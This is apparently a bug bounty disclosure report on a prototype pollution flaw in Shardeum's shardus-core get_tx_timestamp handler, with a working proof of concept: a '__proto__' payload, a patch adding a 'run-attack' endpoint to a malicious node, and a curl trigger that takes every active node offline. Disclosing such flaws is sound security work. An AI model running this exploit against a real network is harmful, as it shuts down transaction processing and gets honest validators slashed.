34500 - [BC - Critical] Prototype pollution vulnerability in get_tx_tim...

Submitted on Aug 14th 2024 at 07:04:48 UTC by @periniondon630 for Boost | Shardeum: Core

Report ID: #34500

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Brief/Intro

A prototype pollution vulnerability has been discovered in the get_tx_timestamp handler of the state-manager module. This vulnerability allows an attacker to manipulate the Object prototype, potentially leading to active node shutdown, slashing of the active node for early leave. If exploited in production/mainnet, this flaw could cause significant disruption and compromise the security of the system.

Vulnerability Details

The vulnerability exists in the following code snippet:

generateTimestampReceipt(
    txId: string,
    cycleMarker: string,
    cycleCounter: CycleRecord['counter']
  ): TimestampReceipt {
    const tsReceipt: TimestampReceipt = {
      txId,
      cycleMarker,
      cycleCounter,
      // shardusGetTime() was replaced with shardusGetTime() so we can have a more reliable timestamp consensus
      timestamp: shardusGetTime(),
    }
    const signedTsReceipt = this.crypto.sign(tsReceipt)
    /* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt generated for txId ${txId}: ${utils.stringifyReduce(signedTsReceipt)}`)

    // caching ts receipt for later nodes
    if (!this.txTimestampCache[signedTsReceipt.cycleCounter]) {
      this.txTimestampCache[signedTsReceipt.cycleCounter] = {}
    }

    // cache to txId map
    this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt
    if (Context.config.p2p.timestampCacheFix) {
      // eslint-disable-next-line security/detect-object-injection
      this.txTimestampCacheByTxId[txId] = signedTsReceipt
      this.seenTimestampRequests[txId] = true
    }
    /* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt cached for txId ${txId} in cycle ${signedTsReceipt.cycleCounter}: ${utils.stringifyReduce(signedTsReceipt)}`)
    return signedTsReceipt
  }

Function is called from get_tx_timestamp handler, all parameters are coming from user controlled input and can be crafted to include special properties such as __proto__, allowing an attacker to manipulate the Object prototype. Here is get_tx_timestamp code:

this.p2p.registerInternal(
      'get_tx_timestamp',
      async (
        payload: { txId: string; cycleCounter: number; cycleMarker: string },
        respond: (arg0: Shardus.TimestampReceipt) => unknown
      ) => {
        const { txId, cycleCounter, cycleMarker } = payload
        /* eslint-disable security/detect-object-injection */
        if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
          await respond(this.txTimestampCache[cycleCounter][txId])
        } else {
          const tsReceipt: Shardus.TimestampReceipt = this.generateTimestampReceipt(
            txId,
            cycleMarker,
            cycleCounter
          )
          await respond(tsReceipt)
        }
        /* eslint-enable security/detect-object-injection */
      }
    )

The values for parameters should be chosen in a way first condition will go to else case. The following exploit demonstrates this vulnerability:

Context.network.registerExternalGet('run-attack', async (req, res) => {
  const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
  for (const node of activeByIdOrder) {
    await this.p2p.tell([node], 'get_tx_timestamp', payload)
  }
})

Impact Details

The potential impacts of this vulnerability are severe and include:

  • complete network shutdown, which demonstrates by exploit

  • slashing active node by early leave penalty.

References

Proof of Concept

  • Set up and launch a test Shardeum network.

  • Apply the following patch to the shardus-core repository to introduce a malicious node:

diff --git a/src/state-manager/index.ts b/src/state-manager/index.ts
index f22738cf..a189e16e 100644
--- a/src/state-manager/index.ts
+++ b/src/state-manager/index.ts
@@ -2169,6 +2169,13 @@ class StateManager {
       binaryGetAccountQueueCountHandler.handler
     )

+    Context.network.registerExternalGet('run-attack', async (req, res) => {
+        const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
+        for (const node of activeByIdOrder) {
+            await this.p2p.tell([node], 'get_tx_timestamp', payload)
+        }
+    })
+
     Context.network.registerExternalGet('debug_stats', isDebugModeMiddleware, (_req, res) => {
       const cycle = this.currentCycleShardData.cycleNumber - 1
  • Build and run your malicious node; it will be capable of attacking and shutting down the network.

  • Wait until malicious node will become active.

  • Initiate the attack from the malicious node using the following curl command:

curl 'http://<MALICIOUS_NODE_IP>:<EXTERNAL_PORT>/run-attack'
  • The exploit code will iterate through all active nodes in the network and shut them down.

  • Wait until all nodes appear red on the monitor webpage, indicating they are offline.

  • Check the logs (e.g., fatal logs) to confirm that nothing can be processed.

Last updated